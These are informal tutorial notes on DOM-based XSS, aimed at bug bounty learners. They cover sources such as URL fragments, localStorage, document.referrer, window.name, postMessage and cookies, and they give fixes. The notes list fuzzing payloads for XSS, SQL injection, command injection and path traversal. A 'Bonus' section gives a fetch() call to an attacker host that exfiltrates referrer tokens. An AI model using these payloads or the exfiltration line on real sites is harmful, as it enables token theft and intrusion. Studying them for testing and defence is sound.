In order to understand about DOM_XSS
Lets discuss different types of XSS there are of 3 types
reflected Xss and stored Xss, In this two xss the malicious payload is embedded In the server's response, while in DOM XSS, the vulnerability exists entirely within the client-side JS code. As the malicious script is in the client side instead of server its hard to detect.

DOM_XSS occurs mainly because of the improper sanitization of user input fields. Attacker would take it as advantage and exploit it and send the link to the client when client opens the link the request is sent to server and received back (now) in the client side is received the request from server the web page in client loads here where the DOM_XSS_SCRIPT would get executed. Lets understand how and why only here…

 The Vulnerability is in the Website's Code (Client-Side JavaScript): Imagine a website that has a JavaScript function that takes a part of the URL (like a query parameter or a URL fragment, the part after #) and then directly inserts it into the HTML of the page using something like document.write() or element.innerHTML.

Example: Let's say a website has a search function, and when you search for "hello", the URL becomes https://example.com/search?query=hello. And on the page, there's a JavaScript snippet like this:

JavaScript

// In the victim's browser, as part of the legitimate website code

var searchTerm = new URLSearchParams(window.location.search).get('query');

document.getElementById('searchResults').innerHTML = "You searched for: " + searchTerm;

This code is legitimate. It's designed to show the user what they searched for.

 The Attacker Crafts a Malicious URL: The attacker discovers this vulnerability. They realize that if they put something like <script>alert('XSS')</script> into the query parameter, the website's JavaScript will faithfully insert that into the innerHTML of the searchResults element.

So, the attacker creates a URL like this:
https://example.com/search?query=<script>alert('XSS')</script>

 The Attacker "Sends" the Link (Social Engineering): The attacker doesn't "send" the malicious script *to the server*. Instead, they send this crafted URL (the link) to the victim. This is typically done through social engineering tactics:

- **Email:** A phishing email saying "Click here for an exclusive discount!"
- **Social Media:** A direct message or a post with a tempting link.
- **Malicious Website:** Embedding the link on a website the victim might visit, perhaps in an <iframe> or as a redirect.

 The Victim's Browser Does the Work: When the victim clicks on that malicious link:

- **Request to Server:** Their browser sends an HTTP request to https://example.com/search?query=<script>alert('XSS')</script>.
- **Server Responds (Legitimate HTML):** The web server at example.com receives this request. For a typical DOM XSS, the server doesn't even "see" the malicious script part (especially if it's in the URL fragment #). Even if it sees it in the query string, it usually *doesn't process it in a way that makes it malicious on the server-side*. It simply sends back the *original, legitimate HTML and JavaScript code* for the search page.
- **Client-Side Execution:** The victim's browser receives the legitimate HTML. As it renders the page, it executes the JavaScript code (the snippet from step 1).
- **Vulnerable JavaScript Processes Attacker's Input:** The JavaScript code reads window.location.search (or document.URL) which *contains the attacker's malicious payload*.
- **Malicious Code Injected into DOM:** The vulnerable JavaScript then takes this attacker-controlled input and inserts it directly into the DOM (e.g., document.getElementById('searchResults').innerHTML = "You searched for: <script>alert('XSS')</script>";).
- **Browser Executes Malicious Script:** Because the attacker's input now appears as part of the HTML in the DOM, the victim's *browser* interprets <script>alert('XSS')</script> as actual JavaScript code and executes it.

Lets go to the practical part as we understand how it works lets deep dive in to identifying them and exploiting them

In order to perform DOM_XSS first we need to identify whether webpage has this kind of vulnerability or not.

Understanding the Concepts: Validation vs. Sanitization vs. Encoding

Before diving into identification, it's vital to understand the distinctions:

- **Validation:** Checks if the input conforms to expected rules (e.g., data type, length, format, range). If not, the input is rejected. This is about *what* is allowed.
    - **Example:** An email field must contain an "@" symbol and a domain. A quantity field must be a positive integer.
- **Sanitization:** Modifies or cleans input by removing or transforming potentially harmful characters to make it safe. This is about *making input safe*.
    - **Example:** Removing <script> tags, or replacing ' with '' for SQL.
- **Encoding:** Converts special characters into a format that is safe to display or transmit in a specific context, preventing them from being interpreted as executable code or markup. This is about *how* the input is represented.
    - **Example:** Converting < to < in HTML context, or a space to %20 in a URL context.

Improper input sanitization typically means that malicious input is not properly cleaned or transformed before being used by the application, allowing it to be interpreted as code or unwanted data.

So, by only in the existence of improper sanitization we could identify those DOM_XSS vulnerabilities

a. Identify All Input Sources

You need to map out every point where a user (or another external system) can provide data to the application. This includes:

- **Form Fields:** Text inputs, text areas, dropdowns, radio buttons, checkboxes, file uploads.

- **URL Parameters (GET requests):** Everything after the ? in a URL.
- **URL Fragments (Hash values - #):** Especially relevant for DOM XSS.
- **HTTP Headers:** User-Agent, Referer, Cookie (though cookies are usually set by the server, sometimes user-controlled parts can exist).
- **Cookies:** If any part of a cookie is user-controlled and later processed.
- **JSON/XML Payloads:** In API requests.
- **File Uploads:** Both the file content and its metadata (filename, MIME type).
- **Any external data source:** Data from APIs, third-party services, databases that might have been compromised, etc.

b. Test Each Input with Malicious Payloads (Fuzzing)

For each identified input, try injecting payloads designed to trigger various vulnerabilities. This is often referred to as "fuzzing."

General Approach:

1. **Understand the context:** Where will this input be used?
    - **HTML Context:** Is it displayed directly in an HTML page (user_input)?
    - **JavaScript Context:** Is it put inside a <script> block or an eval() function?
    - **SQL Query Context:** Is it used to build a database query?
    - **Shell Command Context:** Is it used in a command executed on the server?
    - **URL Context:** Is it inserted into a link?
2. **Generic Test Strings:** Start with simple special characters to see how the application handles them:
    - ' (single quote) - common for SQL Injection, XSS in attributes
    - " (double quote) - common for XSS in attributes
    - < > (angle brackets) - common for XSS (script tags, HTML injection)
    - & (ampersand) - for HTML entity encoding issues

- | & ; $ `` (backtick) - common for Command Injection
- / \ . - common for Path Traversal, LFI/RFI
- ( ) - for SQL Injection, JavaScript
- = - for SQL Injection, attribute injection
- # - for URL fragments (DOM XSS), comment out in some languages
- -- /* */ - for SQL comment injection
- %00 (null byte) - for bypassing filename extensions, string truncation
- Unicode characters, double encoding (e.g., %253C for %3C)

Specific Payload Examples (Tailor to Context):

- **Cross-Site Scripting (XSS):**
  - <script>alert(1)</script>
  - <img src=x onerror=alert(1)>
  - "><script>alert(1)</script> (to break out of an HTML attribute)
  - javascript:alert(1) (in an href or src attribute)
  - DOM XSS: http://example.com/page.html#<img%20src=x%20onerror=alert(1)> (if the page uses location.hash unsafely)
- **SQL Injection:**
  - ' OR 1=1 --
  - " OR "1"="1
  - admin'--
  - 1; DROP TABLE users;
- **Command Injection:**
  - ; ls -la
  - | cat /etc/passwd
  - $(id)

- **Path Traversal:**
    - ../../../etc/passwd
    - ..%2f..%2f..%2fetc%2fpasswd (URL encoded)

c. Observe Application Behaviour

- **Error Messages:** Look for detailed error messages (especially from databases or server-side languages) that might reveal how your input is being processed.
- **Source Code Inspection (for DOM XSS):** Use browser developer tools (Inspect Element) to see if your injected payload appears directly in the HTML of the page, unencoded.
- **HTTP Response:** Check the raw HTTP response from the server. Does your input appear there unencoded, or is it properly transformed?
- **Pop-ups/Unexpected Actions:** If an alert() box appears, or if the page redirects, or an image fails to load, it's a strong indicator of XSS.
- **Database Changes:** If testing for SQL Injection, check if you can modify or retrieve data you shouldn't.
- **File System Changes:** If testing for Command Injection or Path Traversal, see if you can read/write files or execute commands.

SO where we can find DOM_XSS vulnerabilities

1. URL-Based Sources (Most Common)

- **Query Parameters** (?param=payload)
  Example:

text

https://example.com/search?q=<script>alert(1)</script>

- **Fragment (Hash) (**#payload**)**
  Example:

text

https://example.com/profile#<img src=x onerror=alert(1)>

- **URL Path (**/path/payload**)** (Less common, but possible if JS parses window.location.pathname)

---

2. Web Storage (LocalStorage / SessionStorage)

- If JavaScript **stores user input in** localStorage**/**sessionStorage and later retrieves it unsafely.
- **Attack Scenario:**
    - Malicious script writes payload to localStorage:

javascript

localStorage.setItem("userData", "<img src=x onerror=alert(1)>");

    - Later, the app reads it and inserts into DOM:

javascript

document.body.innerHTML = localStorage.getItem("userData"); *// XSS!*

- **Real-world Example:**
  A vulnerable SPA (Single Page App) stores user input in localStorage and renders it without sanitization.

---

3. document.referrer

- If JavaScript uses document.referrer (the referring page URL) and inserts it into the DOM unsafely.
- **Attack Scenario:**
    - Attacker lures victim to a malicious page with:

html

Click Me!

    - victim.com has vulnerable code:

javascript

document.getElementById("header").innerHTML = document.referrer; *// XSS!*

- If the referrer contains a payload, it executes.

---

4. window.name

- The window.name property persists across same-origin page navigations and can be abused.
- **Attack Scenario:**
  - Attacker sets window.name in a malicious page:

javascript

```
window.name = "<script>alert(1)</script>";
```

  - Victim navigates to victim.com, which has:

javascript

```
document.write(window.name); // XSS!
```

---

5. postMessage() **(Cross-Window Communication)**

- If a site listens to window.postMessage() but doesn't validate the origin or sanitize data.
- **Attack Scenario:**
  - Malicious site sends a payload:

javascript

```
targetWindow.postMessage("<img src=x onerror=alert(1)>", "*");
```

  - Victim site has insecure listener:

javascript

```
window.addEventListener("message", (e) => {
  document.body.innerHTML = e.data; // XSS!
});
```

---

6. Client-Side Cookies (document.cookie**)**

- If JavaScript reads cookies and unsafely inserts them into the DOM.
- **Attack Scenario:**
    - Attacker sets a malicious cookie:

javascript

```
document.cookie = "username=<script>alert(1)</script>";
```

    - Victim site reads it:

javascript

```
document.write(document.cookie); // XSS!
```

---

7. HTML5 APIs (e.g., FileReader**, Canvas, Web Sockets)**

- Some HTML5 APIs process user-controlled data that can lead to DOM XSS.
- **Example (**FileReader**):**

javascript

```
let file = new File(["<script>alert(1)</script>"], "test.html");
let reader = new FileReader();
reader.onload = () => { document.body.innerHTML = reader.result; };
reader.readAsText(file); // XSS when loaded!
```

---

8. Third-Party Libraries (e.g., jQuery, AngularJS)

- Some libraries have unsafe DOM manipulation methods:
    - **jQuery:** $("#div").html(userInput);
    - **AngularJS:** (if sanitization is disabled).

---

9. Browser Extensions (Less Common)

- Malicious extensions can inject scripts into pages or modify DOM unsafely.

Summary Table of DOM XSS Sources

Source	Example	Sink (Dangerous Function)
URL (Query/Fragment)	?q=<script>alert(1)</script>	innerHTML, document.write()
Web Storage	localStorage.setItem("x", "<img>")	element.innerHTML = localStorage
document.referrer	<a href="victim.com"> (malicious)	document.write(referrer)
window.name	window.name = "<script>"	document.write(window.name)
postMessage()	postMessage("<img>", "*")	innerHTML = e.data (no sanitize)
Cookies	document.cookie = "x=<script>"	document.write(cookie)
HTML5 APIs	FileReader reads malicious file	innerHTML = fileContent
Third-Party Libs	$("#div").html(userInput)	Unsafe jQuery/AngularJS methods

---

GOAL: Understand how using localStorage without sanitization leads to DOM-based XSS

🔧 Step-by-Step Setup: What is localStorage?

Let's say you build a web app that lets users **type something in a text box**, and when they click "Save," that input is saved using localStorage. Later, when the page is reloaded, your app **reads from localStorage** and **puts the content back on the page**.

Both are accessed via the window.localStorage and window.sessionStorage objects, respectively.

Common methods:

- **setItem(key, value): Stores a key-value pair.**
- **getItem(key): Retrieves the value associated with a key.**
- **removeItem(key): Removes a key-value pair.**
- **clear(): Clears all key-value pairs.**

Looks like this (simplified):

1️⃣ Saving the input:

javascript

CopyEdit

localStorage.setItem("userData", userInput);

2️⃣ Displaying it on page:

javascript

CopyEdit

document.body.innerHTML = localStorage.getItem("userData");

Now here comes the danger.

💥 What's the Risk? Let's break it like a hacker

🧠 Think Like a Browser

Let's imagine this:

- You stored the following value:

html

CopyEdit

<img src="x" onerror="alert('XSS!')">

- Then the browser executes:

javascript

CopyEdit

document.body.innerHTML = localStorage.getItem("userData");

Behind the scenes:

1. localStorage.getItem() returns the raw string "<img src='x' onerror='alert(\"XSS\")'>".
2. innerHTML tells the browser: "Here's some HTML, please render it."
3. The browser **parses the string as HTML**. It sees:
    - An <img> tag
    - src='x' (an invalid image)
    - onerror="..." (an event handler)
4. Image fails to load → onerror fires → Boom! alert("XSS!")

🦠 Why This Is an XSS?

- XSS = **Cross Site Scripting**
- The attacker **injects HTML/JS** that the browser **executes** as if it came from the website owner.

- When you use innerHTML, you're giving the browser **raw HTML — and it will parse and execute** everything, including scripts inside tags like:
    - <script>
    - <img onerror>
    - <iframe onload>
    - <svg onload>
    - etc.

🔓 **Why localStorage is Dangerous in This Context**

1. **localStorage is fully controlled by JavaScript** — so any attacker **who can run JS once** can also **store payloads permanently.**
2. That means the next time the page loads and your app reads from localStorage, the malicious code executes **without user interaction**.

Step 1: Malicious script writes payload to localStorage

JavaScript

localStorage.setItem("userData", "<img src=x onerror=alert(1)>");

- How this happens: The attacker needs a way to inject this JavaScript code into the victim's browser *first*. This is the critical prerequisite.
    - Pre-existing XSS: If there's *already* a reflected XSS or stored XSS vulnerability on the site, an attacker could use that to run this localStorage.setItem command in the victim's browser.
    - External Site/Phishing: An attacker could trick the victim into visiting a malicious external site that contains JavaScript which, due to relaxed Same-Origin Policy settings

(uncommon for localStorage without user interaction) or specific browser quirks, might be able to interact with the target site's localStorage (less likely for direct XSS, but possible for data manipulation).

- Direct Interaction: In a controlled test environment (like a CTF), you might manually execute this in your browser's console to simulate the first step of the attack.

🎭 **Real Attacker Flow**

Let’s say your app has this code:

javascript

CopyEdit

// Load and display stored content

const saved = localStorage.getItem("userData");

document.body.innerHTML = saved;

Here’s what an attacker might do:

1. Open your app (on their own device or a shared one).
2. Run this in browser console:

javascript

CopyEdit

localStorage.setItem("userData", "<img src=x onerror=alert('Hacked!')>");

3. Reload the page.
4. Your script runs document.body.innerHTML = ... → 💥 XSS.

Now imagine this happening on a **shared computer**, kiosk, or browser extension. Next person who opens the app will be **attacked silently.**

First: What *is* document.referrer?

It's **read-only** JavaScript property that tells:

"Where did this user come from?"

It gets its value from the **Referer** (yep, typo is intentional in HTTP spec) **HTTP header**, which is:

arduino

CopyEdit

Referer: https://previous-site.com/page?token=abc123

So yes — if a user comes from a URL that contains **sensitive info in query parameters**, it can be leaked through the Referer header.

🎯 **So, can this leak credentials?**

✅ **Yes, in very specific cases.**

Let's look at **how this could happen**, when it's possible, and how attackers **could abuse it**.

🧨 **Attack Scenario 1: Sensitive Info in URL (e.g., Tokens)**

🔥 **Real-World Example:**

Suppose a site like this:

perl

CopyEdit

https://secure.example.com/reset?token=ABC123xyz

...is part of a password reset flow.

Now, a user clicks a link on that page to another site:

html

CopyEdit

Click here

🔗 When the browser sends the request to https://attacker.com, it also sends:

h

CopyEdit

Referer: https://secure.example.com/reset?token=ABC123xyz

✅ Now the attacker gets the **full URL**, with the token, in their server logs.

💣 **BOOM: Credential leakage!**

- **Not JS-based**, but **header-based leakage**
- The token is **preserved in referrer**, and if the attacker logs it, they steal it

---

🔨 **Attack Scenario 2: Logging document.referrer into DOM or Server**

If a website itself does:

javascript

CopyEdit

console.log(document.referrer);

sendToAnalytics(document.referrer);

...and if a **previous site had a sensitive token** in the URL, this site could unknowingly **store** or **forward** it somewhere insecure (like Mixpanel, Google Analytics, etc.).

🦹 Can an attacker abuse .referrer directly to steal stuff?

❌ Not directly like this:

javascript

CopyEdit

document.referrer.username; // ❌ does not exist

Because document.referrer is just a string — **it doesn't know what's sensitive** or not. But you could **parse it**:

✅ Example: Parsing Referrer for Tokens

javascript

CopyEdit

const ref = new URL(document.referrer);

const token = ref.searchParams.get("token");

So if document.referrer contains:

arduino

CopyEdit

https://site.com/page?token=secret123

…then you can extract that token in your code.

🔴 This is **dangerous** if the app itself does something with this token, like insert it into DOM or send it to a 3rd party.

🔐 How to Prevent Credential Leakage via Referrer

✅ 1. Use POST instead of GET for sensitive operations

- Don't send tokens in the URL like:

perl

CopyEdit

https://site.com/reset?token=abc123

- Send them in the body of a POST request

✅ **2. Set strong Referrer-Policy headers**

- Example:

http

CopyEdit

Referrer-Policy: no-referrer

- Or (safer but still usable):

h

CopyEdit

Referrer-Policy: strict-origin-when-cross-origin

This makes sure **no sensitive info** in the query string leaks to external sites.

✅ **3. Don't use document.referrer to show user-facing content**

- If you're logging it — fine.
- But never display it or trust it.

⚠️ **Bonus: Trick to Leak Referrer via XSS**

If you find a **XSS** on a site and want to extract tokens from .referrer (say from OAuth redirects or password reset flows), use:

javascript

CopyEdit

fetch('https://your.evil.site/log?ref=' +
encodeURIComponent(document.referrer));

This way you steal info stored in URLs that the user came from.

✅ **Final Summary**

🔍 Question	✅ Answer
Can document.referrer leak credentials?	✅ If the previous URL had them in the **query string**
Can attacker modify .referrer directly?	❌ No — only control it via **referring page**
Is .referrer dangerous?	✅ Only when apps log or render it without sanitizing
Should you report it in bug bounties?	✅ Only if you can show **token leak** or **DOM-based XSS** from it

What Is document.referrer Again?

It's a browser-provided **string** that contains:

The **full URL** of the page you came *from* when you landed on a new page.

✅ It **only tracks the URL** — not:

- Password fields
- Cookies
- Input box values
- JavaScript memory

❌ **So What Can't It Do?**

- document.referrer CANNOT read:
    - Your password from login fields
    - LocalStorage of other sites
    - SessionStorage of other sites
    - Cookies of other sites

- Password managers
- Input data that hasn’t been saved in the URL

✅ **So When *Does* referrer Leak Sensitive Info?**

Only when the **site itself puts the secret into the URL**.

💣 **BAD example (vulnerable site):**

perl

CopyEdit

https://securebank.com/reset-password?token=abc123supersecret

Now you click:

html

CopyEdit

Click Me

Your browser sends this to the attacker:

perl

CopyEdit

Referer: https://securebank.com/reset-password?token=abc123supersecret

✅ Attacker now knows the token.
✅ Attacker may reset your password using it.
❌ But this only works if the site exposed the token **in the URL**.

💬 **Let’s Address Your Example in Detail**

A website stores password in the page to use it again.

⚠️ **Realistic? Rarely. But let’s say:**

html

CopyEdit

<script>

var savedPassword = "Manoj@123"; // ❌ Bad practice!

</script>

Even if this is there:

- ✅ It is readable by JavaScript on **that page only**
- ❌ It is **not exposed in document.referrer**
- ❌ It is **not visible to other domains** due to **same-origin policy**

Now if you go to malicious-site.com, the attacker tries:

javascript

CopyEdit

console.log(document.referrer);

They get:

arduino

CopyEdit

https://victim.com/home

✅ That's it — **no passwords**, no variables, no JS data.

🔐 **Why This Happens: Same-Origin Policy**

The browser strictly enforces:

One origin (domain + port + protocol) cannot access another origin's internal data like DOM, JS variables, cookies, etc.

So even if the site stores a password **in the page**:

- Another site **cannot reach in and read it**
- document.referrer **won't help an attacker here**

✅ **When Does It Become a Real Bug?**

Only if:

1. The **password/token is in the URL**
2. The site doesn't use Referrer-Policy: no-referrer
3. You click from that page to the attacker's page
4. The attacker logs your referrer

🧠 **Imagine this like a postcard**

Let’s say:

- The **company website** is like a display board (company.com/profile) that shows where a person came from (like a postcard).
- The **attacker's site** (attacker.com) is like someone sending that postcard — and they can write *anything* on it.
- The company **doesn't check what’s written**, it just displays it directly to everyone. That's dangerous!

📌 **The Actual Flow (Step-by-Step)**

✅ **1. Attacker creates a fake webpage (or sends a link)**

Attacker makes a page on their website:

arduino

CopyEdit

https://attacker.com/hackpage.html

This page contains a simple **link to the real company website**:

html

CopyEdit

Click me

✅ **2. Attacker tricks victim into clicking that link**

The victim visits attacker.com/hackpage.html and clicks the link. The browser then:

- Goes to https://company.com/profile
- Sends the **Referrer header** as:

arduino

CopyEdit

https://attacker.com/hackpage.html

So the company site receives:

javascript

CopyEdit

document.referrer === "https://attacker.com/hackpage.html"

❌ 3. Vulnerable Company Code (this is the mistake)

The company has code like this on their site:

javascript

CopyEdit

document.getElementById("header").innerHTML = document.referrer;

This means:

- Whatever value is in document.referrer, it goes straight into the web page's HTML.

💣 4. Now the attacker adds a payload to the URL

They modify their own link and serve this:

php-template

CopyEdit

https://attacker.com/hackpage.html?<img src=x onerror=alert(1)>

Now the **referrer becomes**:

php-template

CopyEdit

https://attacker.com/hackpage.html?<img src=x onerror=alert(1)>

And the company page blindly does:

javascript

CopyEdit

.innerHTML = 'https://attacker.com/hackpage.html?<img src=x onerror=alert(1)>'

➡️ This **injects HTML** into the company's page — triggering XSS.

🎯 **Final Summary (in 1 line):**

The attacker **controls the previous page's URL (referrer)**, and if the company **blindly injects that into HTML**, it's game over — **Reflected XSS** without touching the company server.

4}How window.name Works (The Core Mechanism)

window.name is a **property of the browser's window object**, not tied to the **domain** (origin), but tied to the **window or tab** itself.

🧠 **Key Concept:**

As long as you're in the **same window/tab**, the window.name **persists even across full page reloads or cross-origin navigations**.

This is **by design** — originally used for:

- Passing data between pages (before localStorage existed)

- Retaining state across form submissions or redirects

✅ **Example to Make it Clear:**

Step 1: Attacker sets window.name

You visit:

CopyEdit

attacker.com

It runs:

javascript

CopyEdit

window.name = "<script>alert('XSS')</script>";

Step 2: Attacker redirects you:

javascript

CopyEdit

window.location.href = "https://victim.com/page";

Now in victim.com/page:

- If victim.com runs:

javascript

CopyEdit

document.write(window.name);

Then BOOM — it executes the malicious string from attacker.com.

✅ Same window/tab
✅ window.name persisted
❌ victim.com used it unsafely

💡 **Why This Works:**

- window.name is **not reset** when navigating to a new origin.
- It's like a **persistent, global variable tied to the tab**, not the website.
- Browsers do this for **legitimate cross-page communication** — but it becomes dangerous when **untrusted origins write to it, and trusted ones read from it blindly**.

🔒 **Security Lesson for Companies:**

- Even though it's “your own page”, if you don’t sanitize window.name, you're **trusting a variable that could’ve been set by *any site before you***.

🔁 **What Doesn’t Persist:**

- localStorage, sessionStorage, and cookies — these are **origin-based**.
- But window.name? It’s a rare case that **crosses origins in the same window**.

🚫 **What If the Page Is Opened in a New Tab?**

Then the attack **won’t work**, because:

- New tab = new window = new window.name
- The attacker can't transfer window.name across **tabs**, only within the **same tab flow**

5}Why would a company use postMessage() in the first place?

window.postMessage() is a legit and powerful API for secure cross-origin communication between:

- Iframes and parent windows

- Pop-ups and opener windows
- Different origins (e.g., company.com ↔️ auth.company.com)

1. What is postMessage()?

window.postMessage() is a **safe way to send messages between windows**, **IF** it's used correctly.

✅ It’s designed to:

- Let a page (like a widget in an iframe) send data to its parent or another window.
- Work **across origins** without violating the Same-Origin Policy.

💣 **2. What goes wrong?**

Developers **forget to verify the origin** or **don’t sanitize the data**.

Here's the **broken code**:

javascript

CopyEdit

```
// BAD! No origin check, no data sanitization
window.addEventListener("message", (e) => {
  document.body.innerHTML = e.data;
});
```

- The site listens for any message (from *anywhere*)
- It **blindly trusts e.data**
- It directly writes it to the DOM as HTML → XSS!

🧨 **3. The Attack Flow — Step-by-Step**

🎭 **Attacker's Malicious Site:**

javascript

CopyEdit

```
// attacker.com
let target = window.open("https://victim.com", "_blank");
target.postMessage('<img src=x onerror=alert(1)>', '*');
```

💼 **Victim Company Site:**

javascript

CopyEdit

```
// victim.com
window.addEventListener("message", (e) => {
  document.body.innerHTML = e.data; // XSS here
});
```

🧠 **So what happened?**

- Attacker **opens** the company's site in a new window/tab or iframe.
- Sends malicious HTML using postMessage()
- Victim site **receives and blindly injects it into the DOM**.
- Now the attacker's code (XSS) runs **in the context of victim.com**, not attacker.com.

🔎 **4. But Why Would a Company Use This?**

Real-world use cases:

- Embedding payment widgets, chat windows, analytics dashboards
- Communication between parent window and iframe
- OAuth authentication flows
- Multi-domain single-page applications (SPAs)

🔗 **But developers often forget:**

- To check **who sent the message**
- To **sanitize the contents**

🔐 **Safe Version — The Right Way:**

javascript

CopyEdit

```
window.addEventListener("message", (e) => {
  // 1. Verify sender
  if (e.origin !== "https://trustedpartner.com") return;

  // 2. Sanitize message content
  const cleanHTML = DOMPurify.sanitize(e.data);

  // 3. Use safe DOM APIs instead of innerHTML when possible
  document.body.textContent = cleanHTML;
});
```

6. Client-Side Cookies (document.cookie**)**

What *actually* happens in a cookie-based DOM XSS:

1. **Victim site takes user input from the URL**:

javascript

CopyEdit

```
let username = getParameterByName("name"); // user controls this!
```

2. **It stores it in a cookie**:

javascript

CopyEdit

document.cookie = `username=${username}`;

3. **Later, victim site uses the cookie to personalize content**:

javascript

CopyEdit

let name = getCookie("username");

document.body.innerHTML = name; // XSS if name has <script>

😈 **How the attacker abuses it:**

- The attacker **doesn't write code in victim.com**, but they **trick victim.com into doing it by sending a crafted URL**:

php-template

CopyEdit

https://victim.com?name=<script>alert('XSS')</script>

- The victim site:
  - Extracts name from the URL
  - Stores <script>alert('XSS')</script> into its own cookie
  - Later, renders it directly into the DOM
- Result: **XSS**, and it runs in the context of victim.com, even though **the attacker never "hacked" the site directly**.

❌ **What went wrong?**

- The company **blindly trusted the user input from the URL**
- It didn’t sanitize or validate it
- It used the input to store data (in a cookie)

- Later, it rendered that data back into the DOM without sanitization

This is classic **reflected + stored XSS — user input → stored (cookie/localStorage/URL) → reflected to DOM as code**

See attacker is redirecting with the cookie itself joined with url
No. The attacker is not sending a cookie.

- **The attacker is sending a malicious value as a URL parameter.**
- **The company's code reads that parameter and puts it in a cookie.**

7. HTML5 APIs (e.g., FileReader**, Canvas, Web Sockets)**

T hese APIs are powerful but **dangerous** if developers **directly inject their output into the DOM** without sanitization.

Real Bug Bounty Scenario

Even though the attacker can't write files on behalf of the user directly, in bug bounty:

- If an app **allows file uploads and previews them using FileReader**, you can craft a malicious file:

html

CopyEdit

<script>alert(document.domain)</script>

- On upload, the site **reads and injects the file's contents** into the page.
- Boom — DOM XSS from a **local file**.